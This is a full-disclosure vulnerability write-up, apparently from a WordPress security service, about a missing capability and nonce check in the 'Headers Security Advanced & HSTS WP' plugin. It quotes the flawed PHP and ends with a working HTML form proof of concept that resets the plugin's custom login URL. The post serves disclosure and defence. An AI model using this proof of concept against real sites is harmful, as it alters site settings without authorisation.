What probably goes a long way towards explaining why WordPress security plugins provide so little protection against the exploitation of vulnerabilities in other plugins is the developers of those plugins don’t have a great understanding of security. That is partially backed up by how often security vulnerabilities are found in security plugins. The latest example of a security plugin we have found to contain a vulnerability, involves a newer plugin, Headers Security Advanced & HSTS WP, which has this text in the first paragraph of its description in the WordPress Plugin Directory:

it allows you to securely and quickly customize your login page URL. It does not rename or replace files, add rewrite or read rules. The wp-admin directory and the wp-login.php page will no longer go, remember to bookmark the URL or wherever you prefer so you can remember the login url. Deactivating this plugin will return your site configuration exactly to the state it was in before.

It turns out that it would be incredibly easy for an attacker to undo that, as anyone can change the plugin’s setting.

The saving of the setting is handled through the function set_admin_slug_headers_security_advanced_hsts() in the file /headers-security-advanced-hsts-wp.php. That doesn’t include a capabilities check to limit what users can change the setting or a nonce check to prevent cross-site request forgery (CSRF):

107
108
109
110
111
112
113
114
115
116
117
118
119

function set_admin_slug_headers_security_advanced_hsts() {
  if ( isset( $_POST[HEADERS_SECURITY_ADVANCED_HSTS_WP_WPADMIN_OPTION] ) ) {
	$wpadmin_slug = trim( sanitize_key( $_POST[HEADERS_SECURITY_ADVANCED_HSTS_WP_WPADMIN_OPTION] ) );
 
	update_option( HEADERS_SECURITY_ADVANCED_HSTS_WP_WPADMIN_OPTION, $wpadmin_slug );
 
	if ( $wpadmin_slug ) {
	  $this->rewrite_admin_slug_headers_security_advanced_hsts();
	}
	else {
	  flush_rewrite_rules();
	}
  }

Through that you change the custom login URL or remove it.

That function runs during “admin_init”, which means by accessing the right URL even someone not logged in to WordPress can cause the function to run:

230

add_action( 'admin_init', array( $Headers_Security_Advanced_HSTS_WP_url, 'set_admin_slug_headers_security_advanced_hsts' ) );

The proof of concept below confirms that can be exploited to remove the custom login URL.

The lack of basic security is not in line with another claim from the plugin’s description:

This plugin is developed by TentaclePlugins, we care about WordPress security and best practices.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will remove the custom login URL.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://localhost/wordpress/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="custom_wpadmin_slug" value="" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?